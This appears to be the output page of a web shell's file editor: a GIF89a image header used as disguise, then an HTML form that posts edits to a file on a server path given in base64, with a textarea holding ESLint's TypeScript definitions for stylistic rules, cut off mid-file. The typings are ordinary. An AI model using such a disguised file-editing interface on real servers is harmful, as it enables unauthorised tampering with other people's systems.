GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>stylistic-issues.d.ts<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw%3D%3D&f=c3R5bGlzdGljLWlzc3Vlcy5kLnRz"><input name="f" value="stylistic-issues.d.ts"><textarea name="t">import { Linter } from '../index';

export interface StylisticIssues extends Linter.RulesRecord {
    /**
     * Rule to enforce linebreaks after opening and before closing array brackets.
     *
     * @since 4.0.0-alpha.1
     * @see https://eslint.org/docs/rules/array-bracket-newline
     */
    'array-bracket-newline': Linter.RuleEntry&lt;[
        'always' | 'never' | 'consistent' | Partial&lt;{
            /**
             * @default true
             */
            multiline: boolean;
            /**
             * @default null
             */
            minItems: number | null;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing inside array brackets.
     *
     * @since 0.24.0
     * @see https://eslint.org/docs/rules/array-bracket-spacing
     */
    'array-bracket-spacing': Linter.RuleEntry&lt;[
        'never',
        Partial&lt;{
            /**
             * @default false
             */
            singleValue: boolean;
            /**
             * @default false
             */
            objectsInArrays: boolean;
            /**
             * @default false
             */
            arraysInArrays: boolean;
        }&gt;
    ]&gt; | Linter.RuleEntry&lt;[
        'always',
        Partial&lt;{
            /**
             * @default true
             */
            singleValue: boolean;
            /**
             * @default true
             */
            objectsInArrays: boolean;
            /**
             * @default true
             */
            arraysInArrays: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce line breaks after each array element.
     *
     * @since 4.0.0-rc.0
     * @see https://eslint.org/docs/rules/array-element-newline
     */
    'array-element-newline': Linter.RuleEntry&lt;[
        'always' | 'never' | 'consistent' | Partial&lt;{
            /**
             * @default true
             */
            multiline: boolean;
            /**
             * @default null
             */
            minItems: number | null;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow or enforce spaces inside of blocks after opening block and before closing block.
     *
     * @since 1.2.0
     * @see https://eslint.org/docs/rules/block-spacing
     */
    'block-spacing': Linter.RuleEntry&lt;[
        'always' | 'never'
    ]&gt;;

    /**
     * Rule to enforce consistent brace style for blocks.
     *
     * @since 0.0.7
     * @see https://eslint.org/docs/rules/brace-style
     */
    'brace-style': Linter.RuleEntry&lt;[
        '1tbs' | 'stroustrup' | 'allman',
        Partial&lt;{
            /**
             * @default false
             */
            allowSingleLine: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce camelcase naming convention.
     *
     * @since 0.0.2
     * @see https://eslint.org/docs/rules/camelcase
     */
    'camelcase': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 'always'
             */
            properties: 'always' | 'never';
            /**
             * @default false
             */
            ignoreDestructuring: boolean;
            /**
             * @remarks
             * Also accept for regular expression patterns
             */
            allow: string[];
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce or disallow capitalization of the first letter of a comment.
     *
     * @since 3.11.0
     * @see https://eslint.org/docs/rules/capitalized-comments
     */
    'capitalized-comments': Linter.RuleEntry&lt;[
        'always' | 'never',
        Partial&lt;{
            ignorePattern: string[];
            /**
             * @default false
             */
            ignoreInlineComments: boolean;
            /**
             * @default false
             */
            ignoreConsecutiveComments: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to require or disallow trailing commas.
     *
     * @since 0.16.0
     * @see https://eslint.org/docs/rules/comma-dangle
     */
    'comma-dangle': Linter.RuleEntry&lt;[
        'never' | 'always' | 'always-multiline' | 'only-multiline' | Partial&lt;{
            /**
             * @default 'never'
             */
            arrays: 'never' | 'always' | 'always-multiline' | 'only-multiline';
            /**
             * @default 'never'
             */
            objects: 'never' | 'always' | 'always-multiline' | 'only-multiline';
            /**
             * @default 'never'
             */
            imports: 'never' | 'always' | 'always-multiline' | 'only-multiline';
            /**
             * @default 'never'
             */
            exports: 'never' | 'always' | 'always-multiline' | 'only-multiline';
            /**
             * @default 'never'
             */
            functions: 'never' | 'always' | 'always-multiline' | 'only-multiline';
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing before and after commas.
     *
     * @since 0.9.0
     * @see https://eslint.org/docs/rules/comma-spacing
     */
    'comma-spacing': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            before: boolean;
            /**
             * @default true
             */
            after: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent comma style.
     *
     * @since 0.9.0
     * @see https://eslint.org/docs/rules/comma-style
     */
    'comma-style': Linter.RuleEntry&lt;[
        'last' | 'first',
        Partial&lt;{
            exceptions: Record&lt;string, boolean&gt;;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing inside computed property brackets.
     *
     * @since 0.23.0
     * @see https://eslint.org/docs/rules/computed-property-spacing
     */
    'computed-property-spacing': Linter.RuleEntry&lt;[
        'never' | 'always'
    ]&gt;;

    /**
     * Rule to enforce consistent naming when capturing the current execution context.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/consistent-this
     */
    'consistent-this': Linter.RuleEntry&lt;[
        ...string[]
    ]&gt;;

    /**
     * Rule to require or disallow newline at the end of files.
     *
     * @since 0.7.1
     * @see https://eslint.org/docs/rules/eol-last
     */
    'eol-last': Linter.RuleEntry&lt;[
        'always' | 'never' // | 'unix' | 'windows'
    ]&gt;;

    /**
     * Rule to require or disallow spacing between function identifiers and their invocations.
     *
     * @since 3.3.0
     * @see https://eslint.org/docs/rules/func-call-spacing
     */
    'func-call-spacing': Linter.RuleEntry&lt;[
        'never' | 'always'
    ]&gt;;

    /**
     * Rule to require function names to match the name of the variable or property to which they are assigned.
     *
     * @since 3.8.0
     * @see https://eslint.org/docs/rules/func-name-matching
     */
    'func-name-matching': Linter.RuleEntry&lt;[
        'always' | 'never',
        Partial&lt;{
            /**
             * @default false
             */
            considerPropertyDescriptor: boolean;
            /**
             * @default false
             */
            includeCommonJSModuleExports: boolean;
        }&gt;
    ]&gt; | Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            considerPropertyDescriptor: boolean;
            /**
             * @default false
             */
            includeCommonJSModuleExports: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to require or disallow named `function` expressions.
     *
     * @since 0.4.0
     * @see https://eslint.org/docs/rules/func-names
     */
    'func-names': Linter.RuleEntry&lt;[
        'always' | 'as-needed' | 'never',
        Partial&lt;{
            generators: 'always' | 'as-needed' | 'never';
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce the consistent use of either `function` declarations or expressions.
     *
     * @since 0.2.0
     * @see https://eslint.org/docs/rules/func-style
     */
    'func-style': Linter.RuleEntry&lt;[
        'expression' | 'declaration',
        Partial&lt;{
            /**
             * @default false
             */
            allowArrowFunctions: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent line breaks inside function parentheses.
     *
     * @since 4.6.0
     * @see https://eslint.org/docs/rules/function-paren-newline
     */
    'function-paren-newline': Linter.RuleEntry&lt;[
        'always' | 'never' | 'multiline' | 'multiline-arguments' | 'consistent' | Partial&lt;{
            minItems: number;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow specified identifiers.
     *
     * @since 2.0.0-beta.2
     * @see https://eslint.org/docs/rules/id-blacklist
     */
    'id-blacklist': Linter.RuleEntry&lt;[
        ...string[]
    ]&gt;;

    /**
     * Rule to enforce minimum and maximum identifier lengths.
     *
     * @since 1.0.0
     * @see https://eslint.org/docs/rules/id-length
     */
    'id-length': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 2
             */
            min: number;
            /**
             * @default Infinity
             */
            max: number;
            /**
             * @default 'always'
             */
            properties: 'always' | 'never';
            exceptions: string[];
        }&gt;
    ]&gt;;

    /**
     * Rule to require identifiers to match a specified regular expression.
     *
     * @since 1.0.0
     * @see https://eslint.org/docs/rules/id-match
     */
    'id-match': Linter.RuleEntry&lt;[
        string,
        Partial&lt;{
            /**
             * @default false
             */
            properties: boolean;
            /**
             * @default false
             */
            onlyDeclarations: boolean;
            /**
             * @default false
             */
            ignoreDestructuring: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce the location of arrow function bodies.
     *
     * @since 4.12.0
     * @see https://eslint.org/docs/rules/implicit-arrow-linebreak
     */
    'implicit-arrow-linebreak': Linter.RuleEntry&lt;[
        'beside' | 'below'
    ]&gt;;

    /**
     * Rule to enforce consistent indentation.
     *
     * @since 0.14.0
     * @see https://eslint.org/docs/rules/indent
     */
    'indent': Linter.RuleEntry&lt;[
        number | 'tab',
        Partial&lt;{
            /**
             * @default 0
             */
            SwitchCase: number;
            /**
             * @default 1
             */
            VariableDeclarator: Partial&lt;{
                /**
                 * @default 1
                 */
                var: number | 'first';
                /**
                 * @default 1
                 */
                let: number | 'first';
                /**
                 * @default 1
                 */
                const: number | 'first';
            }&gt; | number | 'first';
            /**
             * @default 1
             */
            outerIIFEBody: number;
            /**
             * @default 1
             */
            MemberExpression: number | 'off';
            /**
             * @default { parameters: 1, body: 1 }
             */
            FunctionDeclaration: Partial&lt;{
                /**
                 * @default 1
                 */
                parameters: number | 'first' | 'off';
                /**
                 * @default 1
                 */
                body: number;
            }&gt;;
            /**
             * @default { parameters: 1, body: 1 }
             */
            FunctionExpression: Partial&lt;{
                /**
                 * @default 1
                 */
                parameters: number | 'first' | 'off';
                /**
                 * @default 1
                 */
                body: number;
            }&gt;;
            /**
             * @default { arguments: 1 }
             */
            CallExpression: Partial&lt;{
                /**
                 * @default 1
                 */
                arguments: number | 'first' | 'off';
            }&gt;;
            /**
             * @default 1
             */
            ArrayExpression: number | 'first' | 'off';
            /**
             * @default 1
             */
            ObjectExpression: number | 'first' | 'off';
            /**
             * @default 1
             */
            ImportDeclaration: number | 'first' | 'off';
            /**
             * @default false
             */
            flatTernaryExpressions: boolean;
            ignoredNodes: string[];
            /**
             * @default false
             */
            ignoreComments: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce the consistent use of either double or single quotes in JSX attributes.
     *
     * @since 1.4.0
     * @see https://eslint.org/docs/rules/jsx-quotes
     */
    'jsx-quotes': Linter.RuleEntry&lt;[
        'prefer-double' | 'prefer-single'
    ]&gt;;

    /**
     * Rule to enforce consistent spacing between keys and values in object literal properties.
     *
     * @since 0.9.0
     * @see https://eslint.org/docs/rules/key-spacing
     */
    'key-spacing': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            beforeColon: boolean;
            /**
             * @default true
             */
            afterColon: boolean;
            /**
             * @default 'strict'
             */
            mode: 'strict' | 'minimum';
            align: Partial&lt;{
                /**
                 * @default false
                 */
                beforeColon: boolean;
                /**
                 * @default true
                 */
                afterColon: boolean;
                /**
                 * @default 'colon'
                 */
                on: 'value' | 'colon';
                /**
                 * @default 'strict'
                 */
                mode: 'strict' | 'minimum';
            }&gt; | 'value' | 'colon';
        } | {
            singleLine?: Partial&lt;{
                /**
                 * @default false
                 */
                beforeColon: boolean;
                /**
                 * @default true
                 */
                afterColon: boolean;
                /**
                 * @default 'strict'
                 */
                mode: 'strict' | 'minimum';
            }&gt;;
            multiLine?: Partial&lt;{
                /**
                 * @default false
                 */
                beforeColon: boolean;
                /**
                 * @default true
                 */
                afterColon: boolean;
                /**
                 * @default 'strict'
                 */
                mode: 'strict' | 'minimum';
                align: Partial&lt;{
                    /**
                     * @default false
                     */
                    beforeColon: boolean;
                    /**
                     * @default true
                     */
                    afterColon: boolean;
                    /**
                     * @default 'colon'
                     */
                    on: 'value' | 'colon';
                    /**
                     * @default 'strict'
                     */
                    mode: 'strict' | 'minimum';
                }&gt; | 'value' | 'colon';
            }&gt;;
        }&gt; | {
            align: Partial&lt;{
                /**
                 * @default false
                 */
                beforeColon: boolean;
                /**
                 * @default true
                 */
                afterColon: boolean;
                /**
                 * @default 'colon'
                 */
                on: 'value' | 'colon';
                /**
                 * @default 'strict'
                 */
                mode: 'strict' | 'minimum';
            }&gt;;
            singleLine?: Partial&lt;{
                /**
                 * @default false
                 */
                beforeColon: boolean;
                /**
                 * @default true
                 */
                afterColon: boolean;
                /**
                 * @default 'strict'
                 */
                mode: 'strict' | 'minimum';
            }&gt;;
            multiLine?: Partial&lt;{
                /**
                 * @default false
                 */
                beforeColon: boolean;
                /**
                 * @default true
                 */
                afterColon: boolean;
                /**
                 * @default 'strict'
                 */
                mode: 'strict' | 'minimum';
            }&gt;;
        }
    ]&gt;;

    /**
     * Rule to enforce consistent spacing before and after keywords.
     *
     * @since 2.0.0-beta.1
     * @see https://eslint.org/docs/rules/keyword-spacing
     */
    'keyword-spacing': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default true
             */
            before: boolean;
            /**
             * @default true
             */
            after: boolean;
            overrides: Record&lt;string, Partial&lt;{
                before: boolean;
                after: boolean;
            }&gt;&gt;;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce position of line comments.
     *
     * @since 3.5.0
     * @see https://eslint.org/docs/rules/line-comment-position
     */
    'line-comment-position': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 'above'
             */
            position: 'above' | 'beside';
            ignorePattern: string;
            /**
             * @default true
             */
            applyDefaultIgnorePatterns: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent linebreak style.
     *
     * @since 0.21.0
     * @see https://eslint.org/docs/rules/linebreak-style
     */
    'linebreak-style': Linter.RuleEntry&lt;[
        'unix' | 'windows'
    ]&gt;;

    /**
     * Rule to require empty lines around comments.
     *
     * @since 0.22.0
     * @see https://eslint.org/docs/rules/lines-around-comment
     */
    'lines-around-comment': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default true
             */
            beforeBlockComment: boolean;
            /**
             * @default false
             */
            afterBlockComment: boolean;
            /**
             * @default false
             */
            beforeLineComment: boolean;
            /**
             * @default false
             */
            afterLineComment: boolean;
            /**
             * @default false
             */
            allowBlockStart: boolean;
            /**
             * @default false
             */
            allowBlockEnd: boolean;
            /**
             * @default false
             */
            allowObjectStart: boolean;
            /**
             * @default false
             */
            allowObjectEnd: boolean;
            /**
             * @default false
             */
            allowArrayStart: boolean;
            /**
             * @default false
             */
            allowArrayEnd: boolean;
            /**
             * @default false
             */
            allowClassStart: boolean;
            /**
             * @default false
             */
            allowClassEnd: boolean;
            ignorePattern: string;
            /**
             * @default true
             */
            applyDefaultIgnorePatterns: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to require or disallow an empty line between class members.
     *
     * @since 4.9.0
     * @see https://eslint.org/docs/rules/lines-between-class-members
     */
    'lines-between-class-members': Linter.RuleEntry&lt;[
        'always' | 'never',
        Partial&lt;{
            /**
             * @default false
             */
            exceptAfterSingleLine: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce a maximum depth that blocks can be nested.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/max-depth
     */
    'max-depth': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 4
             */
            max: number;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce a maximum line length.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/max-len
     */
    'max-len': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 80
             */
            code: number;
            /**
             * @default 4
             */
            tabWidth: number;
            comments: number;
            ignorePattern: string;
            /**
             * @default false
             */
            ignoreComments: boolean;
            /**
             * @default false
             */
            ignoreTrailingComments: boolean;
            /**
             * @default false
             */
            ignoreUrls: boolean;
            /**
             * @default false
             */
            ignoreStrings: boolean;
            /**
             * @default false
             */
            ignoreTemplateLiterals: boolean;
            /**
             * @default false
             */
            ignoreRegExpLiterals: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce a maximum number of lines per file.
     *
     * @since 2.12.0
     * @see https://eslint.org/docs/rules/max-lines
     */
    'max-lines': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 300
             */
            max: number;
            /**
             * @default false
             */
            skipBlankLines: boolean;
            /**
             * @default false
             */
            skipComments: boolean;
        }&gt; | number
    ]&gt;;

    /**
     * Rule to enforce a maximum number of line of code in a function.
     *
     * @since 5.0.0
     * @see https://eslint.org/docs/rules/max-lines-per-function
     */
    'max-lines-per-function': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 50
             */
            max: number;
            /**
             * @default false
             */
            skipBlankLines: boolean;
            /**
             * @default false
             */
            skipComments: boolean;
            /**
             * @default false
             */
            IIFEs: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce a maximum depth that callbacks can be nested.
     *
     * @since 0.2.0
     * @see https://eslint.org/docs/rules/max-nested-callbacks
     */
    'max-nested-callbacks': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 10
             */
            max: number;
        }&gt; | number
    ]&gt;;

    /**
     * Rule to enforce a maximum number of parameters in function definitions.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/max-params
     */
    'max-params': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 3
             */
            max: number;
        }&gt; | number
    ]&gt;;

    /**
     * Rule to enforce a maximum number of statements allowed in function blocks.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/max-statements
     */
    'max-statements': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 10
             */
            max: number;
            /**
             * @default false
             */
            ignoreTopLevelFunctions: boolean;
        }&gt; | number
    ]&gt;;

    /**
     * Rule to enforce a maximum number of statements allowed per line.
     *
     * @since 2.5.0
     * @see https://eslint.org/docs/rules/max-statements-per-line
     */
    'max-statements-per-line': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 1
             */
            max: number;
        }&gt; | number
    ]&gt;;

    /**
     * Rule to enforce a particular style for multiline comments.
     *
     * @since 4.10.0
     * @see https://eslint.org/docs/rules/multiline-comment-style
     */
    'multiline-comment-style': Linter.RuleEntry&lt;[
        'starred-block' | 'bare-block' | 'separate-lines'
    ]&gt;;

    /**
     * Rule to enforce newlines between operands of ternary expressions.
     *
     * @since 3.1.0
     * @see https://eslint.org/docs/rules/multiline-ternary
     */
    'multiline-ternary': Linter.RuleEntry&lt;[
        'always' | 'always-multiline' | 'never'
    ]&gt;;

    /**
     * Rule to require constructor names to begin with a capital letter.
     *
     * @since 0.0.3-0
     * @see https://eslint.org/docs/rules/new-cap
     */
    'new-cap': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default true
             */
            newIsCap: boolean;
            /**
             * @default true
             */
            capIsNew: boolean;
            newIsCapExceptions: string[];
            newIsCapExceptionPattern: string;
            capIsNewExceptions: string[];
            capIsNewExceptionPattern: string;
            /**
             * @default true
             */
            properties: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce or disallow parentheses when invoking a constructor with no arguments.
     *
     * @since 0.0.6
     * @see https://eslint.org/docs/rules/new-parens
     */
    'new-parens': Linter.RuleEntry&lt;[
        'always' | 'never'
    ]&gt;;

    /**
     * Rule to require a newline after each call in a method chain.
     *
     * @since 2.0.0-rc.0
     * @see https://eslint.org/docs/rules/newline-per-chained-call
     */
    'newline-per-chained-call': Linter.RuleEntry&lt;[
        {
            /**
             * @default 2
             */
            ignoreChainWithDepth: number;
        }
    ]&gt;;

    /**
     * Rule to disallow `Array` constructors.
     *
     * @since 0.4.0
     * @see https://eslint.org/docs/rules/no-array-constructor
     */
    'no-array-constructor': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to disallow bitwise operators.
     *
     * @since 0.0.2
     * @see https://eslint.org/docs/rules/no-bitwise
     */
    'no-bitwise': Linter.RuleEntry&lt;[
        Partial&lt;{
            allow: string[];
            /**
             * @default false
             */
            int32Hint: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow `continue` statements.
     *
     * @since 0.19.0
     * @see https://eslint.org/docs/rules/no-continue
     */
    'no-continue': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to disallow inline comments after code.
     *
     * @since 0.10.0
     * @see https://eslint.org/docs/rules/no-inline-comments
     */
    'no-inline-comments': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to disallow `if` statements as the only statement in `else` blocks.
     *
     * @since 0.6.0
     * @see https://eslint.org/docs/rules/no-lonely-if
     */
    'no-lonely-if': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to disallow mixed binary operators.
     *
     * @since 2.12.0
     * @see https://eslint.org/docs/rules/no-mixed-operators
     */
    'no-mixed-operators': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default
             * [
             *     [&quot;+&quot;, &quot;-&quot;, &quot;*&quot;, &quot;/&quot;, &quot;%&quot;, &quot;**&quot;],
             *     [&quot;&amp;&quot;, &quot;|&quot;, &quot;^&quot;, &quot;~&quot;, &quot;&lt;&lt;&quot;, &quot;&gt;&gt;&quot;, &quot;&gt;&gt;&gt;&quot;],
             *     [&quot;==&quot;, &quot;!=&quot;, &quot;===&quot;, &quot;!==&quot;, &quot;&gt;&quot;, &quot;&gt;=&quot;, &quot;&lt;&quot;, &quot;&lt;=&quot;],
             *     [&quot;&amp;&amp;&quot;, &quot;||&quot;],
             *     [&quot;in&quot;, &quot;instanceof&quot;]
             * ]
             */
            groups: string[][];
            /**
             * @default true
             */
            allowSamePrecedence: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow mixed spaces and tabs for indentation.
     *
     * @remarks
     * Recommended by ESLint, the rule was enabled in `eslint:recommended`.
     *
     * @since 0.7.1
     * @see https://eslint.org/docs/rules/no-mixed-spaces-and-tabs
     */
    'no-mixed-spaces-and-tabs': Linter.RuleEntry&lt;[
        'smart-tabs'
    ]&gt;;

    /**
     * Rule to disallow use of chained assignment expressions.
     *
     * @since 3.14.0
     * @see https://eslint.org/docs/rules/no-multi-assign
     */
    'no-multi-assign': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to disallow multiple empty lines.
     *
     * @since 0.9.0
     * @see https://eslint.org/docs/rules/no-multiple-empty-lines
     */
    'no-multiple-empty-lines': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default 2
             */
            max: number;
            maxEOF: number;
            maxBOF: number;
        }&gt; | number
    ]&gt;;

    /**
     * Rule to disallow negated conditions.
     *
     * @since 1.6.0
     * @see https://eslint.org/docs/rules/no-negated-condition
     */
    'no-negated-condition': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to disallow nested ternary expressions.
     *
     * @since 0.2.0
     * @see https://eslint.org/docs/rules/no-nested-ternary
     */
    'no-nested-ternary': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to disallow `Object` constructors.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/no-new-object
     */
    'no-new-object': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to disallow the unary operators `++` and `--`.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/no-plusplus
     */
    'no-plusplus': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            allowForLoopAfterthoughts: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow specified syntax.
     *
     * @since 1.4.0
     * @see https://eslint.org/docs/rules/no-restricted-syntax
     */
    'no-restricted-syntax': Linter.RuleEntry&lt;[
        ...Array&lt;string | {
            selector: string;
            message?: string;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow all tabs.
     *
     * @since 3.2.0
     * @see https://eslint.org/docs/rules/no-tabs
     */
    'no-tabs': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            allowIndentationTabs: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow ternary operators.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/no-ternary
     */
    'no-ternary': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to disallow trailing whitespace at the end of lines.
     *
     * @since 0.7.1
     * @see https://eslint.org/docs/rules/no-trailing-spaces
     */
    'no-trailing-spaces': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            skipBlankLines: boolean;
            /**
             * @default false
             */
            ignoreComments: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow dangling underscores in identifiers.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/no-underscore-dangle
     */
    'no-underscore-dangle': Linter.RuleEntry&lt;[
        Partial&lt;{
            allow: string[];
            /**
             * @default false
             */
            allowAfterThis: boolean;
            /**
             * @default false
             */
            allowAfterSuper: boolean;
            /**
             * @default false
             */
            enforceInMethodNames: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow ternary operators when simpler alternatives exist.
     *
     * @since 0.21.0
     * @see https://eslint.org/docs/rules/no-unneeded-ternary
     */
    'no-unneeded-ternary': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default true
             */
            defaultAssignment: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to disallow whitespace before properties.
     *
     * @since 2.0.0-beta.1
     * @see https://eslint.org/docs/rules/no-whitespace-before-property
     */
    'no-whitespace-before-property': Linter.RuleEntry&lt;[]&gt;;

    /**
     * Rule to enforce the location of single-line statements.
     *
     * @since 3.17.0
     * @see https://eslint.org/docs/rules/nonblock-statement-body-position
     */
    'nonblock-statement-body-position': Linter.RuleEntry&lt;[
        'beside' | 'below' | 'any',
        Partial&lt;{
            overrides: Record&lt;string, 'beside' | 'below' | 'any'&gt;;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent line breaks inside braces.
     *
     * @since 2.12.0
     * @see https://eslint.org/docs/rules/object-curly-newline
     */
    'object-curly-newline': Linter.RuleEntry&lt;[
        | 'always' | 'never'
        | Partial&lt;{
                /**
                 * @default false
                 */
                multiline: boolean;
                minProperties: number;
                /**
                 * @default true
                 */
                consistent: boolean;
            }&gt;
        | Partial&lt;Record&lt;'ObjectExpression' | 'ObjectPattern' | 'ImportDeclaration' | 'ExportDeclaration',
            | 'always' | 'never'
            | Partial&lt;{
                /**
                 * @default false
                 */
                multiline: boolean;
                minProperties: number;
                /**
                 * @default true
                 */
                consistent: boolean;
            }&gt;&gt;&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing inside braces.
     *
     * @since 0.22.0
     * @see https://eslint.org/docs/rules/object-curly-spacing
     */
    'object-curly-spacing': Linter.RuleEntry&lt;[
        'never',
        {
            /**
             * @default false
             */
            arraysInObjects: boolean;
            /**
             * @default false
             */
            objectsInObjects: boolean;
        }
    ]&gt; | Linter.RuleEntry&lt;[
        'always',
        {
            /**
             * @default true
             */
            arraysInObjects: boolean;
            /**
             * @default true
             */
            objectsInObjects: boolean;
        }
    ]&gt;;

    /**
     * Rule to enforce placing object properties on separate lines.
     *
     * @since 2.10.0
     * @see https://eslint.org/docs/rules/object-property-newline
     */
    'object-property-newline': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            allowAllPropertiesOnSameLine: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce variables to be declared either together or separately in functions.
     *
     * @since 0.0.9
     * @see https://eslint.org/docs/rules/one-var
     */
    'one-var': Linter.RuleEntry&lt;[
        | 'always' | 'never' | 'consecutive'
        | Partial&lt;{
                /**
                 * @default false
                 */
                separateRequires: boolean;
            } &amp; Record&lt;'var' | 'let' | 'const', 'always' | 'never' | 'consecutive'&gt;&gt;
        | Partial&lt;Record&lt;'initialized' | 'uninitialized', 'always' | 'never' | 'consecutive'&gt;&gt;
    ]&gt;;

    /**
     * Rule to require or disallow newlines around variable declarations.
     *
     * @since 2.0.0-beta.3
     * @see https://eslint.org/docs/rules/one-var-declaration-per-line
     */
    'one-var-declaration-per-line': Linter.RuleEntry&lt;[
        'initializations' | 'always'
    ]&gt;;

    /**
     * Rule to require or disallow assignment operator shorthand where possible.
     *
     * @since 0.10.0
     * @see https://eslint.org/docs/rules/operator-assignment
     */
    'operator-assignment': Linter.RuleEntry&lt;[
        'always' | 'never'
    ]&gt;;

    /**
     * Rule to enforce consistent linebreak style for operators.
     *
     * @since 0.19.0
     * @see https://eslint.org/docs/rules/operator-linebreak
     */
    'operator-linebreak': Linter.RuleEntry&lt;[
        'after' | 'before' | 'none',
        Partial&lt;{
            overrides: Record&lt;string, 'after' | 'before' | 'none'&gt;;
        }&gt;
    ]&gt;;

    /**
     * Rule to require or disallow padding within blocks.
     *
     * @since 0.9.0
     * @see https://eslint.org/docs/rules/padded-blocks
     */
    'padded-blocks': Linter.RuleEntry&lt;[
        | 'always' | 'never'
        | Partial&lt;Record&lt;'blocks' | 'classes' | 'switches', 'always' | 'never'&gt;&gt;,
        {
            /**
             * @default false
             */
            allowSingleLineBlocks: boolean;
        }
    ]&gt;;

    /**
     * Rule to require or disallow padding lines between statements.
     *
     * @since 4.0.0-beta.0
     * @see https://eslint.org/docs/rules/padding-line-between-statements
     */
    'padding-line-between-statements': Linter.RuleEntry&lt;[
        ...Array&lt;{
            blankLine: 'any' | 'never' | 'always';
        } &amp; Record&lt;'prev' | 'next', string | string[]&gt;&gt;
    ]&gt;;

    /**
     * Rule to disallow using Object.assign with an object literal as the first argument and prefer the use of object spread instead.
     *
     * @since 5.0.0-alpha.3
     * @see https://eslint.org/docs/rules/prefer-object-spread
     */
    'prefer-object-spread': Linter.RuleEntry&lt;[]&gt;;

    /**
